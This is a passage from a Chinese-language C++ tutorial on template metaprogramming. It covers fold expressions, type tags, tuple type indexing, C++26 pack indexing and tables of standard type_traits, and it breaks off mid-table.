&lt;p&gt;想要保持这种函数式写法，关键是不要真的传对象，而是传类型信息．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class T&amp;gt;
struct Dummy { using type = T; };

template &amp;lt;class ...T&amp;gt;
constexpr size_t get_size(Dummy&amp;lt;T&amp;gt; ...t) {

  if constexpr (sizeof...(T) == 0) {
    return 0;
  } else {
    return (sizeof(t) + ...); // 折叠表达式实现递归
  }
}

int main() {

  auto ret = get_size(Dummy&amp;lt;TypeA&amp;gt;{}, Dummy&amp;lt;TypeB&amp;gt;{});
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[关于 &lt;code&gt;constexpr&lt;/code&gt; 函数]
若 &lt;code&gt;constexpr&lt;/code&gt; 函数中存在无法在编译期求值的参数，则 &lt;code&gt;constexpr&lt;/code&gt; 函数和普通函数一样在运行时求值，此时的返回值不是常量表达式．&lt;/p&gt;
&lt;p&gt;如果想强制要求编译时求值，可以使用 C++20 的 &lt;code&gt;consteval&lt;/code&gt;，运行时求值将报错．
:::&lt;/p&gt;
&lt;p&gt;二元 fold-expression 可以规定 &lt;code&gt;sizeof...(T)&lt;/code&gt; 为 &lt;code&gt;0&lt;/code&gt; 时的递归终止值，写法更简洁．另外自 C++20 开始，&lt;code&gt;std::type_identity&lt;/code&gt; 可以代替手写 &lt;code&gt;Dummy&lt;/code&gt; 包装类．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class ...T&amp;gt;
consteval size_t get_size(std::type_identity&amp;lt;T&amp;gt; ...t) {
  return (sizeof(t) + ... + 0);
}


template &amp;lt;class T&amp;gt;
constexpr std::type_identity&amp;lt;T&amp;gt; tag{};

TypeA a{};
auto ret = get_size(tag&amp;lt;decltype(a)&amp;gt;, tag&amp;lt;TypeB&amp;gt;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以使用模板显式传参的函数式写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class ...T&amp;gt;
consteval size_t get_size() { return (sizeof(T) + ... + 0); }

auto ret = get_size&amp;lt;TypeA, TypeB&amp;gt;();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[案例 2]
实现 &lt;code&gt;get_type&amp;lt;T, I&amp;gt;&lt;/code&gt;，要求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;T&lt;/code&gt; 为 &lt;code&gt;std::tuple&amp;lt;&amp;gt;&lt;/code&gt;，返回 &lt;code&gt;void&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;否则，如果 &lt;code&gt;T&lt;/code&gt; 为 &lt;code&gt;std::tuple&amp;lt;T0, ..., TN&amp;gt;&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;0 &amp;lt;= I &amp;amp;&amp;amp; I &amp;lt;= N&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt;，返回 &lt;code&gt;TI&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;否则，返回 &lt;code&gt;void&lt;/code&gt;；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;否则，返回 &lt;code&gt;void&lt;/code&gt;．
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;tuple&amp;gt;

template &amp;lt;class T, size_t I&amp;gt;
struct get_type { using type = void; };

template &amp;lt;size_t I&amp;gt;
struct get_type&amp;lt;std::tuple&amp;lt;&amp;gt;, I&amp;gt; { using type = void; };

template &amp;lt;class T0, class ...Ts&amp;gt;
struct get_type&amp;lt;std::tuple&amp;lt;T0, Ts...&amp;gt;, 0&amp;gt; { using type = T0; };

template &amp;lt;class T0, class ...Ts, size_t I&amp;gt;
struct get_type&amp;lt;std::tuple&amp;lt;T0, Ts...&amp;gt;, I&amp;gt; {
  // C++20 可以省略待决名的 typename
  using type = typename get_type&amp;lt;std::tuple&amp;lt;Ts...&amp;gt;, I - 1&amp;gt;::type;
};

int main() {
  using tup = std::tuple&amp;lt;int, float, bool, char, void *&amp;gt;;
  using ret0 = get_type&amp;lt;tup, 0&amp;gt;::type; // int
  using ret1 = get_type&amp;lt;tup, 1&amp;gt;::type; // float
  using ret2 = get_type&amp;lt;tup, 2&amp;gt;::type; // bool
  using ret3 = get_type&amp;lt;tup, 3&amp;gt;::type; // char
  using ret4 = get_type&amp;lt;tup, 4&amp;gt;::type; // void *
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[待决名的 &lt;code&gt;typename&lt;/code&gt; 何时可以省略]
自 C++20 开始，待决名的消歧义符 &lt;code&gt;typename&lt;/code&gt; 大部分都可以省略，大致除了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;非类型模板形参的默认值表达式中，如 &lt;code&gt;template &amp;lt;class T, auto val = typename T::val_type{}&amp;gt;&lt;/code&gt;，即 &lt;code&gt;template &amp;lt;class T, T::val_type val = typename T::val_type{}&amp;gt;&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;模板实参类型，如 &lt;code&gt;using t = Tup&amp;lt;typename Tmpl&amp;lt;Ts&amp;gt;::type...&amp;gt;;&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;函数形参类型，如 &lt;code&gt;void func(typename T::val_type x) {...}&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;在函数或者块作用域内变量/函数声明的类型，如 &lt;code&gt;void func() { typename T::val_type val; }&lt;/code&gt;、&lt;code&gt;void func() { typename T::val_type gunc(); }&lt;/code&gt;．
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;函数式写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class T, size_t I&amp;gt;
consteval auto get_type_impl(
  std::type_identity&amp;lt;T&amp;gt;,
  std::integral_constant&amp;lt;size_t, I&amp;gt;
) {
  return std::type_identity&amp;lt;void&amp;gt;{};
}

template &amp;lt;class T0, class ...Ts, size_t I&amp;gt;
consteval auto get_type_impl(
  std::type_identity&amp;lt;std::tuple&amp;lt;T0, Ts...&amp;gt;&amp;gt;,
  std::integral_constant&amp;lt;size_t, I&amp;gt;
) {
  if constexpr (I == 0) {
    return std::type_identity&amp;lt;T0&amp;gt;{};
  } else {
    return get_type_impl(
      std::type_identity&amp;lt;std::tuple&amp;lt;Ts...&amp;gt;&amp;gt;{},
      std::integral_constant&amp;lt;size_t, I - 1&amp;gt;{}
    );
  }
}

template &amp;lt;class T, size_t I&amp;gt;
using get_type = decltype(get_type_impl(
  std::type_identity&amp;lt;T&amp;gt;{},
  std::integral_constant&amp;lt;size_t, I&amp;gt;{}
))::type;

int main() {
  using tup = std::tuple&amp;lt;int, float, char&amp;gt;;
  using ret0 = get_type&amp;lt;tup, 0&amp;gt;; // int
  using ret1 = get_type&amp;lt;tup, 1&amp;gt;; // float
  using ret2 = get_type&amp;lt;tup, 2&amp;gt;; // char
  using ret3 = get_type&amp;lt;tup, 3&amp;gt;; // void
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以不包装整型参数，从函数形参转移到模板形参：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;size_t I, class T&amp;gt;
consteval auto get_type(std::type_identity&amp;lt;T&amp;gt;) {
  return std::type_identity&amp;lt;void&amp;gt;{};
}

template &amp;lt;size_t I, class T0, class ...Ts&amp;gt;
consteval auto get_type(std::type_identity&amp;lt;std::tuple&amp;lt;T0, Ts...&amp;gt;&amp;gt;) {
  if constexpr (I == 0) {
    return std::type_identity&amp;lt;T0&amp;gt;{};
  } else {
    return get_type&amp;lt;I - 1&amp;gt;(std::type_identity&amp;lt;std::tuple&amp;lt;Ts...&amp;gt;&amp;gt;{});
  }
}

int main() {
  using tup = std::tuple&amp;lt;int, float, char&amp;gt;;
  using ret0 = decltype(get_type&amp;lt;0&amp;gt;(std::type_identity&amp;lt;tup&amp;gt;{}))::type; // int
  using ret1 = decltype(get_type&amp;lt;1&amp;gt;(std::type_identity&amp;lt;tup&amp;gt;{}))::type; // float
  using ret2 = decltype(get_type&amp;lt;2&amp;gt;(std::type_identity&amp;lt;tup&amp;gt;{}))::type; // char
  using ret3 = decltype(get_type&amp;lt;3&amp;gt;(std::type_identity&amp;lt;tup&amp;gt;{}))::type; // void
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[包索引]
C++26 &lt;a href=&quot;https://www.en.cppreference.com/w/cpp/language/pack_indexing.html&quot;&gt;Pack Indexing&lt;/a&gt; 可以避免递归元编程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;size_t I, class ...Ts&amp;gt;
consteval auto get_type(std::type_identity&amp;lt;std::tuple&amp;lt;Ts...&amp;gt;&amp;gt;) {
  if constexpr (I &amp;lt; sizeof...(Ts)) {
    return std::type_identity&amp;lt;Ts...[I]&amp;gt;{};
  } else {
    return std::type_identity&amp;lt;void&amp;gt;{};
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;包索引表达式 &lt;code&gt;...[]&lt;/code&gt; 支持模板参数包、函数参数包、结构化绑定包、lambda 初始化捕获包．
:::&lt;/p&gt;
&lt;p&gt;:::tip[案例 3]
现有类型 &lt;code&gt;Tup&amp;lt;T1, ..., TN&amp;gt;&lt;/code&gt;，映射 &lt;code&gt;Tmpl: T -&amp;gt; U&lt;/code&gt;．实现模板 &lt;code&gt;mapping&lt;/code&gt;，要求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;返回 &lt;code&gt;Tup&amp;lt;Tmpl&amp;lt;T0&amp;gt;, ..., Tmpl&amp;lt;TN&amp;gt;&amp;gt;&lt;/code&gt;．
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;variant&amp;gt;


template &amp;lt;template &amp;lt;class&amp;gt; class Tmpl, class Tup&amp;gt;
struct mapping {};

template &amp;lt;
  template &amp;lt;class&amp;gt; class Tmpl,
  template &amp;lt;class ...&amp;gt; class Tup,
  class ...Ts
&amp;gt; struct mapping &amp;lt;
  Tmpl,
  Tup&amp;lt;Ts...&amp;gt;
&amp;gt; {
  using type = Tup&amp;lt;typename Tmpl&amp;lt;Ts&amp;gt;::type...&amp;gt;;
};

template &amp;lt;class T&amp;gt;
struct copy10 { using type = T[10]; };

int main() {
  using t = std::variant&amp;lt;int, char, bool&amp;gt;;

  using result_t = mapping&amp;lt;copy10, t&amp;gt;::type;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[案例 4]
实现模板 &lt;code&gt;array_wrapper: N -&amp;gt; (Tmpl: T -&amp;gt; T[N])&lt;/code&gt;．
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;tuple&amp;gt;

// mapping 实现
template &amp;lt;template &amp;lt;class&amp;gt; class Tmpl, class Tup&amp;gt;
struct mapping {};

template &amp;lt;
  template &amp;lt;class&amp;gt; class Tmpl,
  template &amp;lt;class ...&amp;gt; class Tup,
  class ...Ts
&amp;gt; struct mapping &amp;lt;
  Tmpl,
  Tup&amp;lt;Ts...&amp;gt;
&amp;gt; {
  using type = Tup&amp;lt;typename Tmpl&amp;lt;Ts&amp;gt;::type...&amp;gt;;
};

template &amp;lt;size_t N&amp;gt;
struct array_wrapper {

  template &amp;lt;class T&amp;gt;
  struct Tmpl { using type = T[N]; };
};

int main() {
  using t = std::tuple&amp;lt;int, char[10], bool&amp;gt;;

  using result_t = mapping&amp;lt;array_wrapper&amp;lt;7&amp;gt;::Tmpl, t&amp;gt;::type;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;type_traits&lt;/h2&gt;
&lt;p&gt;标准库提供了许多很有用的「函数」，不用我们手搓．&lt;/p&gt;
&lt;p&gt;对于大多数操作，相应的 trait 有 &lt;code&gt;noexcept&lt;/code&gt; 的版本，如 &lt;code&gt;std::is_invocable_v&amp;lt;T, Args...&amp;gt;&lt;/code&gt; 对应于 &lt;code&gt;std::is_nothrow_invocable_v&amp;lt;T, Args...&amp;gt;&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;对于含特殊成员函数的类型，相应的 trait 有 &lt;code&gt;trivial&lt;/code&gt; 的版本，如 &lt;code&gt;std::is_constructible_v&amp;lt;T, Args...&amp;gt;&lt;/code&gt; 对应于 &lt;code&gt;is_trivially_constructible_v&amp;lt;T, Args...&amp;gt;&lt;/code&gt;．&lt;/p&gt;
&lt;h3&gt;类型判断&lt;/h3&gt;
&lt;h4&gt;类别&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_fundamental_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为基本类型 [^1]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_void_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为 &lt;code&gt;void&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_null_pointer_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为 &lt;code&gt;std::nullptr_t&lt;/code&gt; [^2]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_arithmetic_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为算术类型 [^3]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_integral_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为整型 [^4]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_floating_point_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为浮点类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_enum_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为枚举类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_pointer_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为指针类型 [^5]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_member_object_pointer_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为成员变量指针类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_member_function_pointer_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为成员函数指针类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_reference_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为引用类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_lvalue_reference_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为左值引用类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_rvalue_reference_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为右值引用类型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;[^1]: &lt;a href=&quot;https://cppreference.cn/w/cpp/language/types&quot;&gt;&lt;strong&gt;基本类型&lt;/strong&gt;&lt;/a&gt; 包括可带 cv 限定的 &lt;code&gt;void&lt;/code&gt;、可带 cv 限定的 &lt;code&gt;std::nullptr_t&lt;/code&gt;、整型 [^13]、浮点型，与 &lt;a href=&quot;https://cppreference.cn/w/cpp/language/type&quot;&gt;&lt;strong&gt;复合类型&lt;/strong&gt;&lt;/a&gt; &lt;code&gt;std::is_compound_v&amp;lt;T&amp;gt;&lt;/code&gt; 相对．&lt;/p&gt;
&lt;p&gt;[^2]: &lt;code&gt;nullptr&lt;/code&gt; 是 &lt;a href=&quot;https://en.cppreference.com/w/cpp/types/nullptr_t.html&quot;&gt;&lt;code&gt;std::nullptr_t&lt;/code&gt;&lt;/a&gt; 的实例．&lt;br /&gt;
&lt;code&gt;std::nullptr_t&lt;/code&gt; 并不是指针类型，即 &lt;code&gt;std::is_pointer_v&amp;lt;std::nullptr_t&amp;gt; -&amp;gt; false&lt;/code&gt;；&lt;br /&gt;
&lt;code&gt;std::nullptr_t&lt;/code&gt; 可 (显式/隐式) 转换成指针类型，如 &lt;code&gt;void *&lt;/code&gt;，&lt;code&gt;char const *&lt;/code&gt;；&lt;br /&gt;
&lt;code&gt;std::nullptr_t&lt;/code&gt; 不能在模板中做类型推导 &lt;code&gt;std::nullptr_t -&amp;gt; T*&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^3]: &lt;a href=&quot;https://cppreference.cn/w/c/language/arithmetic_types&quot;&gt;&lt;strong&gt;算术类型&lt;/strong&gt;&lt;/a&gt; 包括整型、浮点类型、这些类型的 cv 限定版本．&lt;/p&gt;
&lt;p&gt;[^4]: &lt;a href=&quot;https://cppreference.cn/w/cpp/language/types#Integral_types&quot;&gt;&lt;strong&gt;整型&lt;/strong&gt;&lt;/a&gt; 包括布尔类型、字符类型、整数类型．&lt;/p&gt;
&lt;p&gt;[^5]: 只能检测普通指针、函数指针、成员指针，不能检测智能指针，需自定义 trait，如：&lt;code&gt;template &amp;lt;class T&amp;gt; struct is_smart&amp;lt;std::shared_ptr&amp;lt;T&amp;gt;&amp;gt; : std::true_type {};&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;属性&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_const_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否带有 &lt;code&gt;const&lt;/code&gt; 限定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_volatile_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否带有 &lt;code&gt;volatile&lt;/code&gt; 限定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_empty_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为空类型 [^6]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_polymorphic_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为多态类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_abstract_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为抽象类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_final_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否被 &lt;code&gt;final&lt;/code&gt; 修饰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_trivially_copyable_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为可平凡复制类型 [^7]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_trivial_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为平凡类 [^8]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_standard_layout_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 成员的内存布局是否为标准布局 [^9]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_aggregate_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为聚合类型 [^10]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_scoped_enum_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为作用域枚举类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_signed_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为有符号的算术类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_unsigned_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为无符号的算术类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_bounded_array_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为已知大小的数组类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_unbounded_array_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 是否为未知大小的数组类型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;[^6]: 空类型不含非静态成员变量、虚函数、虚基类，如 &lt;code&gt;struct { static int x; int f(){} }&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^7]: &lt;a href=&quot;https://en.cppreference.com/w/cpp/named_req/TrivialType&quot;&gt;&lt;strong&gt;平凡类型&lt;/strong&gt;&lt;/a&gt; 包括标量类型 [^100]、平凡类、这些类型的数组、cv 限定版本．&lt;br /&gt;
称一个类 &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/classes.html#Trivially_copyable_class&quot;&gt;&lt;strong&gt;可平凡复制&lt;/strong&gt;&lt;/a&gt;，当且仅当其 (复制/移动)(构造函数/赋值运算符)、析构函数都是默认的，且无虚函数、虚基类．&lt;br /&gt;
可平凡复制类型的内存分布是连续的，因此可以通过 &lt;code&gt;std::memcpy&lt;/code&gt; 按字节将对象序列化成 &lt;code&gt;unsigned char []&lt;/code&gt; 或 &lt;code&gt;std::byte []&lt;/code&gt;．虽然内存连续，但内存布局和 C 语言不同，成员顺序由编译器决定 (比如访问权限相同的成员变量可能重新放在一起，C 语言不认识这些访问说明符)，因此不能兼容 C 程序．\&lt;/p&gt;
&lt;p&gt;[^8]: 一个类在可平凡复制的基础上，具有平凡的默认构造函数，这时称它为 &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/classes.html#Trivial_class&quot;&gt;&lt;strong&gt;平凡类&lt;/strong&gt;&lt;/a&gt;．&lt;/p&gt;
&lt;p&gt;[^9]: &lt;a href=&quot;https://en.cppreference.com/w/cpp/named_req/StandardLayoutType.html&quot;&gt;&lt;strong&gt;标准布局类型&lt;/strong&gt;&lt;/a&gt; 包括标量类型 [^100]、标准布局类、这些类型的数组、cv 限定版本．&lt;br /&gt;
一个类如果无虚函数、虚基类，所有非静态数据成员都具有相同的访问说明符，在继承体系中最多只有一个类中有非静态数据成员，在继承体系中所有类的第一个非静态成员的类型与其基类不同 (在 C++ 中，空基类的地址与第一个非静态成员共享．一旦相同，由于标准规定相同类型的对象地址必须不同，势必多分配出空间以存储基类地址，内存布局发生变化)，这时类的内存布局 (成员在内存中的排列方式) 与 C 语言的结构体完全一致，也称标准布局，这个类也被称为 &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/classes.html#Standard-layout_class&quot;&gt;&lt;strong&gt;标准布局类&lt;/strong&gt;&lt;/a&gt;．标准布局类允许用户自定义成员函数．&lt;br /&gt;
如果平凡类型使用标准内存布局，则称这个类型为 &lt;a href=&quot;https://en.cppreference.com/w/cpp/named_req/PODType&quot;&gt;&lt;strong&gt;POD 类型&lt;/strong&gt;&lt;/a&gt;，与 C 语言的类型无缝衔接，相应的 trait 为 &lt;code&gt;std::is_pod_v&amp;lt;T&amp;gt;&lt;/code&gt;，该 trait 在 C++20 中弃用，取而代之的是 &lt;code&gt;std::is_trivial_v&amp;lt;T&amp;gt; &amp;amp;&amp;amp; std::is_standard_layout_v&amp;lt;T&amp;gt;&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^10]: &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/aggregate_initialization.html&quot;&gt;&lt;strong&gt;聚合类型&lt;/strong&gt;&lt;/a&gt; 可以是数组，也可以是一个类：这个类没有自定义构造函数，所有非静态成员都是 &lt;code&gt;public&lt;/code&gt; 的，无虚函数、虚基类，继承只能是公有继承．在 C++17 之前，这个类不能有基类．聚合类型的特色便是可以聚合初始化、在结构化绑定中可分解．&lt;/p&gt;
&lt;p&gt;[^100]: &lt;a href=&quot;https://en.cppreference.com/w/cpp/named_req/ScalarType.html&quot;&gt;&lt;strong&gt;标量类型&lt;/strong&gt;&lt;/a&gt; 包括算术类型 [^3]、枚举类型、指针类型、成员指针类型、&lt;code&gt;std::nullptr_t&lt;/code&gt;、这些类型的 cv 限定版本，对应的 trait 为 &lt;code&gt;std::is_scalar_v&amp;lt;T&amp;gt;&lt;/code&gt;．&lt;/p&gt;
&lt;h4&gt;可支持的操作&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_swappable_with_v&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 和 &lt;code&gt;U&lt;/code&gt; 是否可交换 [^11]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_swappable_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 之间是否可交换 [^12]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_constructible_v&amp;lt;T, Args...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;Args...&lt;/code&gt; 能否构造出 &lt;code&gt;T&lt;/code&gt; [^13]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_default_constructible_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 能否默认构造&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_copy_constructible_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 能否拷贝构造&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_move_constructible_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 能否移动构造&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_assignable_v&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
